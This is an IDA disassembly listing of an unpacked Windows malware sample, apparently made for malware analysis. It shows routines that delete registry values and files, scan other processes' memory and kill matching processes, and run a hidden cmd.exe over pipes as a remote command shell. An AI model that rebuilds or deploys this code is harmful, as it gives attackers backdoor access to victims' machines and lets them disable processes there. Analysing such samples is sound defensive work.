; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 2EF7C1D2683F6B203B5E821BBD6FFDDB ; File Name : u:\work\2ef7c1d2683f6b203b5e821bbd6ffddb_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00016000 ( 90112.) ; Section size in file : 00016000 ( 90112.) ; Offset to raw data for section: 00001000 ; Flags E00000A0: Text Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 401000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp ds:off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push ds:off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call ds:dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call ds:dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call ds:dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call ds:dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call ds:dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call ds:dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call ds:dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call ds:dword_417094 ; OpenProcess mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call ds:dword_417098 ; ReadProcessMemory mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: UPX1:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call ds:dword_41709C ; Sleep mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call ds:dword_4170A0 ; TerminateProcess mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call ds:dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call ds:dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call ds:dword_41709C ; Sleep cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp ds:dword_41DEF4, 0FFFFFFFFh jz short loc_40186E push ds:dword_41DEF4 call ds:dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp ds:dword_41DEE8, 0FFFFFFFFh jz short loc_401883 push ds:dword_41DEE8 call ds:dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp ds:dword_41DEEC, 0FFFFFFFFh jz short loc_401898 push ds:dword_41DEEC call ds:dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp ds:dword_41DEF0, 0FFFFFFFFh jz short loc_4018AD push ds:dword_41DEF0 call ds:dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call ds:dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, ds:dword_41DEFC cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, ds:dword_41DEFC cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov ds:dword_41DEFC, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov ds:dword_41DEFC, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call ds:dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call ds:dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call ds:dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DEF0 call ds:dword_417074 ; GetCurrentProcess push eax push [ebp+var_36C] call ds:dword_417074 ; GetCurrentProcess push eax call ds:dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DF00 lea eax, [ebp+var_30C] push eax call ds:dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call ds:dword_4170A4 ; CloseHandle mov eax, [ebp+var_364] mov ds:dword_41DEF4, eax mov eax, [ebp+var_36C] mov ds:dword_41DEE8, eax mov eax, [ebp+var_724] mov ds:dword_41DEEC, eax push [ebp+var_720] call ds:dword_4170A4 ; CloseHandle and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push ds:dword_41DEF4 call ds:dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push ds:dword_41DEEC call ds:dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call ds:dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push ds:dword_41DEF4 call ds:dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push ds:dword_41DEF0 call ds:dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; 